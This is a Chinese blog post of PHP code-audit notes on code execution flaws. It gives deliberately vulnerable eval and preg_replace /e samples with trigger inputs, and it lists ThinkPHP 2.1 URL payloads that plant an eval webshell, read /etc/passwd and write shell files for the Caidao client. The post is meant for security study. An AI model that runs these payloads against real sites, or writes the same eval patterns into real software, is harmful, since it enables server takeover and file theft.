zoukankan      html  css  js  c++  java
  • PHP代码审计笔记--代码执行漏洞

     漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。

    常见代码注射函数:

      如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数  

      详见http://www.cnblogs.com/xiaozi/p/7834367.html 

    漏洞危害:执行代码,写入webshell、控制服务器

    代码示例一:

    <?php 
    //?cmd=phpinfo();
    @eval($_GET['cmd']);
    ?>

    代码示例二:

    <?php 
    //?cmd=${phpinfo()} 
    $str=$_GET['cmd']; eval('$str="'.$str.'";'); ?>

    php 代码可以这样在双引号中被执行

    代码示例三:

    <?php 
    //?cmd=%27);phpinfo();//
    $str=$_GET['cmd'];
    eval("strtolower('$str');");
    ?>

    代码示例四:preg_replace函数

    <?php
    preg_replace("/<php>(.*?)</php>/e", '1', "<php>phpinfo()</php>");
    //等价于
    preg_replace("/<php>(.*?)</php>/e", '${1}', "<php>phpinfo()</php>");
    ?>

    参考:

    慎用preg_replace危险的/e修饰符(一句话后门常用)

    http://www.jb51.net/article/38714.htm

    Thinkphp框架任意代码执行漏洞利用

    # 一般找CMS相应版本漏洞,如ThinkPHP2.1 * 一句话
    http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} * 得到当前路径
    http://www.xxx.com/News/detail/id/{${print(getcwd()))}} * 读文件
    http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的数据为:f=/etc/passwd * 写shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>
     
    直接执行一句话代码,然后用菜刀直接连接
    http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

    参考文章:

    代码执行漏洞  http://www.jianshu.com/p/3f0cf18adbe7

    PHP漏洞全解(详细介绍) http://www.jb51.net/article/31898.htm

    PHP代码执行漏洞总结   http://blog.csdn.net/kuangmang/article/details/27170309

  • 相关阅读:
    线段树时间分治
    CDQ分治
    并查集练习
    hihocoder 1513 小Hi的烦恼 (bitset优化)
    线段树维护哈希
    使用swift语言进行IOS应用开发
    用jquery+Asp.Net实现省市二级联动
    苹果IOS与谷歌 android系统的UI设计原则
    优秀设计师应当知道的20大UI设计原则
    JQuery Easy Ui dataGrid 数据表格
  • 原文地址:https://www.cnblogs.com/xiaozi/p/7831598.html
Copyright © 2011-2022 走看看